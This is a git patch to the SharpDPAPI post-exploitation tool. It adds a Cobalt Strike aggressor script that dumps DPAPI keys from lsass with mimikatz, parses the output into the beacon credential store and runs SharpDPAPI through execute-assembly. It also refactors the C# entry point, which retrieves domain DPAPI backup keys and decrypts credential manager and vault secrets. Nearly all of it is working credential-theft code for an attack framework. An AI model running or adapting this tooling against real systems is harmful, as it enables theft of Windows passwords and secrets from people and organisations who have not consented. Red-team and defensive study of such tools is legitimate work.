From 90ff5b41047bca3d2bdd3a0aa728eff4153feaea Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Fri, 15 Mar 2019 13:59:24 -0700 Subject: [PATCH] Added aggressor script, add try/catch in main() --- SharpDPAPI.cna | 289 +++++++++++++++++++++++++ SharpDPAPI/Program.cs | 476 +++++++++++++++++++++--------------------- 2 files changed, 529 insertions(+), 236 deletions(-) create mode 100644 SharpDPAPI.cna diff --git a/SharpDPAPI.cna b/SharpDPAPI.cna new file mode 100644 index 0000000..e2363e1 --- /dev/null +++ b/SharpDPAPI.cna @@ -0,0 +1,289 @@ +# author: @tifkin_ + +global('$SharpDPAPI::AssemblyPath'); + +$SharpDPAPI::AssemblyPath = "/path/to/SharpDPAPI.exe"; + +if(!-exists $SharpDPAPI::AssemblyPath) { + show_error("SharpDPAPI path not found!"); + exit(); +} + +# Extract DPAPI creds from mimikatz output +on beacon_output { + local('$hostname $account $domain $ntlm $sha1 $dpapi $password $length $guid $source'); + + $hostname = binfo($1,"internal") . " (" . binfo($1,"computer") . ")"; + + # DPAPI/SHA1 Keys from sekurlsa::logonPasswords + while ($2 hasmatch 'Username : (.*).*[\n\r].*Domain : (.*)[\n\r].*NTLM.*[\n\r].*SHA1 : (.*)[\n\r].*DPAPI : (.*)[\n\r]') { + $account = matched()[0]; + $domain = matched()[1]; + $sha1 = matched()[2]; + $dpapi = matched()[3]; + + if($sha1) { + credential_add($account, $sha1, $domain, "mimikatz: SHA1", $hostname); + } + + if($dpapi) { + credential_add($account, $dpapi, $domain, "mimikatz: DPAPI", $hostname); + } + } + + # DPAPI masterkeys and SHA1 Keys from sekurlsa::dpapi + if ($2 hasmatch ' \* MasterKey :') { + SharpDPAPI::ParseMasterKeys($1, $2, $hostname); + } +} + + +sub SharpDPAPI::ParseMasterKeys { + local('$1 $2 $beaconId $output $hostname $State $line $UserName $Domain $guid $masterkey $sha1 $STATE_ScanningForHeader $STATE_ParsingHeader $STATE_ScanningForKeyHeader $STATE_ParsingKeys'); + + $beaconId = $1; + $output = $2; + $hostname = $3; + + $guid = ""; + $masterkey = ""; + $sha1 = ""; + $Domain = ""; + $UserName = ""; + + # States = 1 ScanningForHeader, 2 ParsingHeader, 3 ScanningForKeyHeader, 4 ParsingKeys + $STATE_ScanningForHeader = 1; + $STATE_ParsingHeader = 2; + $STATE_ScanningForKeyHeader = 3; + $STATE_ParsingKeys = 4; + + $State = $STATE_ScanningForHeader; + + foreach $line (split("\n", ["$output" trim])) { + # 1 = ScanningForHeader + if($State == $STATE_ScanningForHeader) { # Scanning + if($line ismatch 'Authentication Id :.*') { + $State = $STATE_ParsingHeader; + #println("StateChange: ScanningForHeader") + continue; + } else if($line eq "Sleep : 111 ms... End !") { + blog($beaconId, "Mimikatz complete. Executing SharpDPAPI"); + sleep(2000); # Ugh, wait for the server to sync the creds locally + SharpDPAPI::ExecuteSharpDPAPI($1, true); + return; + } else if($line eq "Sleep : 112 ms... End !") { + blog($beaconId, "Mimikatz complete. Executing SharpDPAPI..."); + sleep(2000); # Ugh, wait for the server to sync the creds locally + SharpDPAPI::ExecuteSharpDPAPI($1, false); + return; + } else { + # Unexpected content, so we'll keep scanning for a header + continue; + } + } + + # 2 = ParsingHeader + if($State == $STATE_ParsingHeader) { + if($line ismatch 'User Name : (.*)') { + $UserName = matched()[0]; + } else if($line ismatch 'Domain : (.*)') { + $Domain = matched()[0]; + } else if($line ismatch 'SID : .*') { + $State = $STATE_ScanningForKeyHeader; + #println("StateChange: ParsingKeys(cont.)") + continue; + } else if($line ismatch '(Session|Logon Server|Logon Time)\W+: .*') { + # Still in the header, but we don't care about these fields + #println("StateChange: ParsingHeader(cont.)") + continue; + } else { + #println("StateChange: ScanningForHeader(cont.)") + $State = $STATE_ScanningForHeader; + $guid = ""; + $masterkey = ""; + $sha1 = ""; + $Domain = ""; + $UserName = ""; + continue; + } + } + + # 3 = ScanningForKeyHeader + if($State == $STATE_ScanningForKeyHeader) { + if($line ismatch ' \[\d+\]') { # Start of key + $guid = ""; + $masterkey = ""; + $sha1 = ""; + $State = $STATE_ParsingKeys; + continue; + } else { + $State = $STATE_ScanningForHeader; + $guid = ""; + $masterkey = ""; + $sha1 = ""; + $Domain = ""; + $UserName = ""; + continue; + } + } + + if($State == $STATE_ParsingKeys) { + if($line ismatch ' \* GUID : (.*)') { # Start of key + $guid = matched()[0]; + } else if($line ismatch ' \* Time : .*') { # Start of key + continue; + } else if($line ismatch ' \* MasterKey : (.*)') { # Start of key + $masterkey = matched()[0]; + } else if($line ismatch ' \* sha1\(key\) : (.*)') { # Start of key + $sha1 = matched()[0]; + + #if($masterkey) { + # credential_add($UserName, "$guid:$masterkey", $Domain, "mimikatz: DPAPI Master Key", $hostname); + #} + if($sha1) { + credential_add($UserName, $guid . ":" . $sha1, $Domain, "mimikatz: DPAPI Master Key SHA1", $hostname); + } + + $guid = ""; + $masterkey = ""; + $sha1 = ""; + + $State = $STATE_ScanningForKeyHeader; + continue; + } else { + # ERROR + $guid = ""; + $masterkey = ""; + $sha1 = ""; + $Domain = ""; + $UserName = ""; + + $State = $STATE_ScanningForHeader; + continue; + } + } + + } +} + +beacon_command_register( + "sharpDPAPI", + "Extracts credential manager and vault credentials using SharpDPAPI.", + + "Use: sharpDPAPI [-dump] [-allkeys]\n" . + "Arguments:\n" . + " -dump Use mimikatz to dump DPAPI keys from lsass using Mimikatz's sekurlsa::dpapi\n" . + " -allkeys Use all DPAPI keys found in the credential store (not just the DPAPI keys found on this host)\n\n" . + "Extracts credential manager and vault credentials using SharpDPAPI. Extracts DPAPI master keys using Mimikatz." +); + + +alias sharpDPAPI { + local('$1 $2 $3 $bid $DumpKeys $UseAllKeys'); + + $bid = $1; + $Dumpkeys = $false; + $UseAllKeys = $false; + + if(lc($2) eq "-dump" || lc($3) eq "-dump") { + $DumpKeys = true; + } + + if(lc($2) eq "-allkeys" || lc($3) eq "-allkeys") { + $UseAllKeys = true; + } + + if($DumpKeys) { + if(-isadmin $1) { + # Keep the sleep in there. Janky way to pass an argument later... + + if($UseAllKeys) { + bmimikatz($1, "sekurlsa::dpapi\ndpapi::cache\nstandard::sleep 111"); + } else { + bmimikatz($1, "sekurlsa::dpapi\ndpapi::cache\nstandard::sleep 112"); + } + } else { + berror($1, "You need to be an administrator."); + } + } else { + SharpDPAPI::ExecuteSharpDPAPI($bid, $UseAllKeys); + } +} + +# 1 = bid, $UseAllKeys +sub SharpDPAPI::ExecuteSharpDPAPI { + local('$1 $bid @masterkeys $UseAllKeys $command'); + + $bid = $1; + $UseAllKeys = $2; + + @masterkeys = SharpDPAPI::GetMasterkeysFromCredStore($bid, $UseAllKeys); + + if(size(@masterkeys) > 0) { + $command = "triage " . join(" ", @masterkeys); + bexecute_assembly($bid, $SharpDPAPI::AssemblyPath, $command); + } else { + if($UseAllKeys) { + berror($1, + "No masterkeys found.\n" . + "If admin, run \"SharpDPAPI -dump\" to dump the masterkeys on the current machine from lsass.exe"); + } else { + berror($1, + "No masterkeys found on the current host.\n" . + "If admin, run \"SharpDPAPI -dump\" to dump the masterkeys on the current machine from lsass.exe\n" . + "or run \"SharpDPAPI -allkeys\" to use all DPAPI keys found in the credential store."); + } + } +} + + + +beacon_command_register( + "sharpDPAPI_masterkeysToClipboard", + "Copies all DPAPI master keys in the credential store to the clipboard.", + + "Use: sharpDPAPI_masterkeysToClipboard\n\n" . + "Copies all DPAPI master keys in the credential store to the clipboard.", +); + +# 1 = ReturnAllKeys +alias sharpDPAPI_masterkeysToClipboard { + local('@masterkeys $out $bid'); + + $bid = $1; + + @masterkeys = SharpDPAPI::GetMasterkeysFromCredStore($bid, true); + + $out = join(" ", @masterkeys); + blog($1, "DPAPI master keys currently in Cobalt Strike's credential store (use these with SharpDPAPI):\n\n" . $out); + add_to_clipboard($out); +} + + +# 1 = bid, 2 = ReturnAllKeys +sub SharpDPAPI::GetMasterkeysFromCredStore { + local('$1 $2 $bid %cred @masterkeys'); + + $bid = $1; + $ReturnAllKeys = $2; + + foreach %cred (credentials()) { + + # Only return masterkeys on the current host + if($ReturnAllKeys eq false) { + if(!%cred["host"]) { + continue; + } + + if(![%cred["host"] contains: binfo($bid, "host")]) { + continue; + } + } + + if(%cred["password"] ismatch '\{[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}\}:.*') { + push(@masterkeys, %cred["password"]); + } + } + + return @masterkeys; +} diff --git a/SharpDPAPI/Program.cs b/SharpDPAPI/Program.cs index abc42f6..c0441a6 100644 --- a/SharpDPAPI/Program.cs +++ b/SharpDPAPI/Program.cs @@ -43,282 +43,286 @@ namespace SharpDPAPI static void Main(string[] args) { - Logo(); + try { + Logo(); - if (args.Length < 1) - { - Usage(); - return; - } + if (args.Length < 1) + { + Usage(); + return; + } - var arguments = new Dictionary(); - foreach (string argument in args) - { - int idx = argument.IndexOf(':'); - if (idx > 0) - { - string key = argument.Substring(0, idx); - string value = argument.Substring(idx + 1); + var arguments = new Dictionary(); + foreach (string argument in args) + { + int idx = argument.IndexOf(':'); + if (idx > 0) + { + string key = argument.Substring(0, idx); + string value = argument.Substring(idx + 1); - if (!key.StartsWith("/")) - { - // meaning the guid:masterkey mappings. we want to ensure standard {GUID}:SHA1 formatting - if (!key.StartsWith("{")) - { - key = String.Format("{{{0}}}", key); - } - } + if (!key.StartsWith("/")) + { + // meaning the guid:masterkey mappings. we want to ensure standard {GUID}:SHA1 formatting + if (!key.StartsWith("{")) + { + key = String.Format("{{{0}}}", key); + } + } - arguments[key] = value; - } - else - { - arguments[argument] = ""; - } - } + arguments[key] = value; + } + else + { + arguments[argument] = ""; + } + } - if (arguments.ContainsKey("backupkey")) - { - Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n"); - string server = ""; - string outFile = ""; + if (arguments.ContainsKey("backupkey")) + { + Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n"); + string server = ""; + string outFile = ""; - if (arguments.ContainsKey("/server")) - { - server = arguments["/server"]; - Console.WriteLine("\r\n[*] Using server : {0}", server); - } - else - { - server = Interop.GetDCName(); - if (String.IsNullOrEmpty(server)) - { - return; - } - Console.WriteLine("\r\n[*] Using current domain controller : {0}", server); - } + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("\r\n[*] Using server : {0}", server); + } + else + { + server = Interop.GetDCName(); + if (String.IsNullOrEmpty(server)) + { + return; + } + Console.WriteLine("\r\n[*] Using current domain controller : {0}", server); + } - if (arguments.ContainsKey("/file")) - { - outFile = arguments["/file"]; - } + if (arguments.ContainsKey("/file")) + { + outFile = arguments["/file"]; + } - Backup.GetBackupKey(server, outFile); - } + Backup.GetBackupKey(server, outFile); + } - if (arguments.ContainsKey("masterkeys")) - { - Console.WriteLine("\r\n[*] Action: Triage Masterkey Files\r\n"); - byte[] backupKeyBytes; - - if (arguments.ContainsKey("/pvk")) - { - string pvk64 = arguments["/pvk"]; - if (File.Exists(pvk64)) - { - backupKeyBytes = File.ReadAllBytes(pvk64); - } - else - { - backupKeyBytes = Convert.FromBase64String(pvk64); - } - } - else - { - Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key must be supplied!"); - return; - } + if (arguments.ContainsKey("masterkeys")) + { + Console.WriteLine("\r\n[*] Action: Triage Masterkey Files\r\n"); + byte[] backupKeyBytes; + + if (arguments.ContainsKey("/pvk")) + { + string pvk64 = arguments["/pvk"]; + if (File.Exists(pvk64)) + { + backupKeyBytes = File.ReadAllBytes(pvk64); + } + else + { + backupKeyBytes = Convert.FromBase64String(pvk64); + } + } + else + { + Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key must be supplied!"); + return; + } - Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, true); + Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, true); - Console.WriteLine("\r\n[*] Master key cache:\r\n"); - foreach (KeyValuePair kvp in mappings) - { - Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); - } - return; - } + Console.WriteLine("\r\n[*] Master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + return; + } - else if (arguments.ContainsKey("credentials")) - { - Console.WriteLine("\r\n[*] Action: DPAPI Credential Triage\r\n"); - arguments.Remove("credentials"); + else if (arguments.ContainsKey("credentials")) + { + Console.WriteLine("\r\n[*] Action: DPAPI Credential Triage\r\n"); + arguments.Remove("credentials"); - if (arguments.ContainsKey("/target")) - { - string target = arguments["/target"]; - arguments.Remove("/target"); + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"]; + arguments.Remove("/target"); - if (arguments.ContainsKey("/pvk")) - { - // using a domain backup key to decrypt everything - string pvk64 = arguments["/pvk"]; - byte[] backupKeyBytes; + if (arguments.ContainsKey("/pvk")) + { + // using a domain backup key to decrypt everything + string pvk64 = arguments["/pvk"]; + byte[] backupKeyBytes; - if (File.Exists(pvk64)) - { - backupKeyBytes = File.ReadAllBytes(pvk64); - } - else - { - backupKeyBytes = Convert.FromBase64String(pvk64); - } + if (File.Exists(pvk64)) + { + backupKeyBytes = File.ReadAllBytes(pvk64); + } + else + { + backupKeyBytes = Convert.FromBase64String(pvk64); + } - // build a {GUID}:SHA1 masterkey mappings - Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); + // build a {GUID}:SHA1 masterkey mappings + Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); - Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); - arguments = mappings; - } + Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); + arguments = mappings; + } - if (File.Exists(target)) - { - Console.WriteLine("[*] Target Credential File: {0}\r\n", target); - Triage.TriageCredFile(target, arguments); - } - else if (Directory.Exists(target)) - { - Console.WriteLine("[*] Target Credential Folder: {0}\r\n", target); - Triage.TriageCredFolder(target, arguments); - } - else - { - Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target); - } - } + if (File.Exists(target)) + { + Console.WriteLine("[*] Target Credential File: {0}\r\n", target); + Triage.TriageCredFile(target, arguments); + } + else if (Directory.Exists(target)) + { + Console.WriteLine("[*] Target Credential Folder: {0}\r\n", target); + Triage.TriageCredFolder(target, arguments); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target); + } + } - else if (arguments.ContainsKey("/pvk")) - { - // using a domain backup key to decrypt everything - string pvk64 = arguments["/pvk"]; + else if (arguments.ContainsKey("/pvk")) + { + // using a domain backup key to decrypt everything + string pvk64 = arguments["/pvk"]; - byte[] backupKeyBytes; + byte[] backupKeyBytes; - if (File.Exists(pvk64)) - { - backupKeyBytes = File.ReadAllBytes(pvk64); - } - else - { - backupKeyBytes = Convert.FromBase64String(pvk64); - } + if (File.Exists(pvk64)) + { + backupKeyBytes = File.ReadAllBytes(pvk64); + } + else + { + backupKeyBytes = Convert.FromBase64String(pvk64); + } - // build a {GUID}:SHA1 masterkey mappings - Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); - - Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); + // build a {GUID}:SHA1 masterkey mappings + Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); + + Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); - Triage.TriageCreds(mappings); - return; - } - else - { - Triage.TriageCreds(arguments); - } - } + Triage.TriageCreds(mappings); + return; + } + else + { + Triage.TriageCreds(arguments); + } + } - else if (arguments.ContainsKey("vaults")) - { - Console.WriteLine("\r\n[*] Action: DPAPI Vault Triage\r\n"); - arguments.Remove("vaults"); + else if (arguments.ContainsKey("vaults")) + { + Console.WriteLine("\r\n[*] Action: DPAPI Vault Triage\r\n"); + arguments.Remove("vaults"); - if (arguments.ContainsKey("/target")) - { - string target = arguments["/target"]; - arguments.Remove("/target"); + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"]; + arguments.Remove("/target"); - if (arguments.ContainsKey("/pvk")) - { - // using a domain backup key to decrypt everything - string pvk64 = arguments["/pvk"]; - byte[] backupKeyBytes; + if (arguments.ContainsKey("/pvk")) + { + // using a domain backup key to decrypt everything + string pvk64 = arguments["/pvk"]; + byte[] backupKeyBytes; - if (File.Exists(pvk64)) - { - backupKeyBytes = File.ReadAllBytes(pvk64); - } - else - { - backupKeyBytes = Convert.FromBase64String(pvk64); - } + if (File.Exists(pvk64)) + { + backupKeyBytes = File.ReadAllBytes(pvk64); + } + else + { + backupKeyBytes = Convert.FromBase64String(pvk64); + } - // build a {GUID}:SHA1 masterkey mappings - Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); + // build a {GUID}:SHA1 masterkey mappings + Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); - Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); - arguments = mappings; - } + Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); + arguments = mappings; + } - if (Directory.Exists(target)) - { - Console.WriteLine("[*] Target Vault Folder: {0}\r\n", target); - Triage.TriageVaultFolder(target, arguments); - } - else - { - Console.WriteLine("\r\n[X] '{0}' is not a valid Vault directory.", target); - } - } - else if (arguments.ContainsKey("/pvk")) - { - // using a domain backup key to decrypt everything - string pvk64 = arguments["/pvk"]; + if (Directory.Exists(target)) + { + Console.WriteLine("[*] Target Vault Folder: {0}\r\n", target); + Triage.TriageVaultFolder(target, arguments); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid Vault directory.", target); + } + } + else if (arguments.ContainsKey("/pvk")) + { + // using a domain backup key to decrypt everything + string pvk64 = arguments["/pvk"]; - byte[] backupKeyBytes; + byte[] backupKeyBytes; - if (File.Exists(pvk64)) - { - backupKeyBytes = File.ReadAllBytes(pvk64); - } - else - { - backupKeyBytes = Convert.FromBase64String(pvk64); - } + if (File.Exists(pvk64)) + { + backupKeyBytes = File.ReadAllBytes(pvk64); + } + else + { + backupKeyBytes = Convert.FromBase64String(pvk64); + } - // build a {GUID}:SHA1 masterkey mappings - Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); + // build a {GUID}:SHA1 masterkey mappings + Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); - Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); + Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); - Triage.TriageVaults(mappings); - return; - } - else - { - Triage.TriageVaults(arguments); - } - } + Triage.TriageVaults(mappings); + return; + } + else + { + Triage.TriageVaults(arguments); + } + } - else if (arguments.ContainsKey("triage")) - { - Console.WriteLine("\r\n[*] Action: DPAPI Credential and Vault Triage\r\n"); - arguments.Remove("triage"); + else if (arguments.ContainsKey("triage")) + { + Console.WriteLine("\r\n[*] Action: DPAPI Credential and Vault Triage\r\n"); + arguments.Remove("triage"); - if (arguments.ContainsKey("/pvk")) - { - // using a domain backup key to decrypt everything - string pvk64 = arguments["/pvk"]; - byte[] backupKeyBytes = Convert.FromBase64String(pvk64); - Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); + if (arguments.ContainsKey("/pvk")) + { + // using a domain backup key to decrypt everything + string pvk64 = arguments["/pvk"]; + byte[] backupKeyBytes = Convert.FromBase64String(pvk64); + Dictionary mappings = Triage.TriageMasterKeys(backupKeyBytes, false); - Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); + Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n"); - Triage.TriageCreds(mappings); - Triage.TriageVaults(mappings); - return; - } + Triage.TriageCreds(mappings); + Triage.TriageVaults(mappings); + return; + } - else - { - Triage.TriageCreds(arguments); - Triage.TriageVaults(arguments); - } - } + else + { + Triage.TriageCreds(arguments); + Triage.TriageVaults(arguments); + } + } - else - { - Usage(); - } - } + else + { + Usage(); + } + } catch(Exception e) { + Console.WriteLine("Unhandled error: " + e); + } + } } }